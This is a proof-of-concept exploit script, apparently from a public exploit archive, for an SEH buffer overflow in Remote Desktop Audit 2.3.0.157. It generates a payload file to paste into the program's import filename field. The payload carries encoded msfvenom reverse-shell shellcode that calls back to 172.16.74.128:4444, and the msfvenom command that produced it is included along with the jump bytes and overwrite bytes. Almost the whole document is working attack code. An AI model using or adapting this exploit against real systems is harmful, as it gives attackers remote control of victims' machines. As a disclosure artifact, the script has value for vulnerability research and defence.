# Exploit Title: Remote Desktop Audit 2.3.0.157 - Buffer Overflow (SEH)
# Exploit Author: gurbanli
# Date: 2020-05-12
# Vulnerable Software: Remote Desktop Audit 2.3.0.157
# Vendor Homepage: https://lizardsystems.com
# Version: 2.3.0.157
# Software Link: https://lizardsystems.com/download/rdaudit_setup.exe
# Tested on: Windows 7 x86
f = file('payload.txt','w')
"""
Same with LanSend 3.2, but with different ppr address.
PoC
1. Run exploit
2. Run Remote Desktop Audit and Click Add Computers Wizard
3. Choose import computers from file
4. Copy/paste payload.txt content into filename section
5. shellcode will be executed
"""
"""
msfvenom -p windows/shell_reverse_tcp lhost=172.16.74.128 lport=4444 EXITFUNC=thread -f py -v shellcode -e x86/shikata_ga_nai -b '\x00\x0a\x0d'
"""
shellcode = b""
shellcode += b"\xda\xd0\xd9\x74\x24\xf4\x58\xbe\xa4\x95\xaf"
shellcode += b"\xc4\x2b\xc9\xb1\x52\x31\x70\x17\x03\x70\x17"
shellcode += b"\x83\x4c\x69\x4d\x31\x70\x7a\x10\xba\x88\x7b"
shellcode += b"\x75\x32\x6d\x4a\xb5\x20\xe6\xfd\x05\x22\xaa"
shellcode += b"\xf1\xee\x66\x5e\x81\x83\xae\x51\x22\x29\x89"
shellcode += b"\x5c\xb3\x02\xe9\xff\x37\x59\x3e\xdf\x06\x92"
shellcode += b"\x33\x1e\x4e\xcf\xbe\x72\x07\x9b\x6d\x62\x2c"
shellcode += b"\xd1\xad\x09\x7e\xf7\xb5\xee\x37\xf6\x94\xa1"
shellcode += b"\x4c\xa1\x36\x40\x80\xd9\x7e\x5a\xc5\xe4\xc9"
shellcode += b"\xd1\x3d\x92\xcb\x33\x0c\x5b\x67\x7a\xa0\xae"
shellcode += b"\x79\xbb\x07\x51\x0c\xb5\x7b\xec\x17\x02\x01"
shellcode += b"\x2a\x9d\x90\xa1\xb9\x05\x7c\x53\x6d\xd3\xf7"
shellcode += b"\x5f\xda\x97\x5f\x7c\xdd\x74\xd4\x78\x56\x7b"
shellcode += b"\x3a\x09\x2c\x58\x9e\x51\xf6\xc1\x87\x3f\x59"
shellcode += b"\xfd\xd7\x9f\x06\x5b\x9c\x32\x52\xd6\xff\x5a"
shellcode += b"\x97\xdb\xff\x9a\xbf\x6c\x8c\xa8\x60\xc7\x1a"
shellcode += b"\x81\xe9\xc1\xdd\xe6\xc3\xb6\x71\x19\xec\xc6"
shellcode += b"\x58\xde\xb8\x96\xf2\xf7\xc0\x7c\x02\xf7\x14"
shellcode += b"\xd2\x52\x57\xc7\x93\x02\x17\xb7\x7b\x48\x98"
shellcode += b"\xe8\x9c\x73\x72\x81\x37\x8e\x15\x02\xd7\xda"
shellcode += b"\x65\x32\xda\xda\x74\x9f\x53\x3c\x1c\x0f\x32"
shellcode += b"\x97\x89\xb6\x1f\x63\x2b\x36\x8a\x0e\x6b\xbc"
shellcode += b"\x39\xef\x22\x35\x37\xe3\xd3\xb5\x02\x59\x75"
shellcode += b"\xc9\xb8\xf5\x19\x58\x27\x05\x57\x41\xf0\x52"
shellcode += b"\x30\xb7\x09\x36\xac\xee\xa3\x24\x2d\x76\x8b"
shellcode += b"\xec\xea\x4b\x12\xed\x7f\xf7\x30\xfd\xb9\xf8"
shellcode += b"\x7c\xa9\x15\xaf\x2a\x07\xd0\x19\x9d\xf1\x8a"
shellcode += b"\xf6\x77\x95\x4b\x35\x48\xe3\x53\x10\x3e\x0b"
shellcode += b"\xe5\xcd\x07\x34\xca\x99\x8f\x4d\x36\x3a\x6f"
shellcode += b"\x84\xf2\x5a\x92\x0c\x0f\xf3\x0b\xc5\xb2\x9e"
shellcode += b"\xab\x30\xf0\xa6\x2f\xb0\x89\x5c\x2f\xb1\x8c"
shellcode += b"\x19\xf7\x2a\xfd\x32\x92\x4c\x52\x32\xb7"
"""
047FFF09 59 POP ECX
047FFF0A 59 POP ECX
047FFF0B 80C1 64 ADD CL,64
047FFF0E ^FFE1 JMP ECX
"""
jmp_to_shellcode = '\x59\x59\x80\xc1\x64\xff\xe1'
"""ppr 00418230"""
payload = '\x90' * 30 + shellcode + jmp_to_shellcode + 'A' * 12 + '\xeb\xeb\x90\x90' + '\x30\x82\x41'
f.write(payload)
f.close()
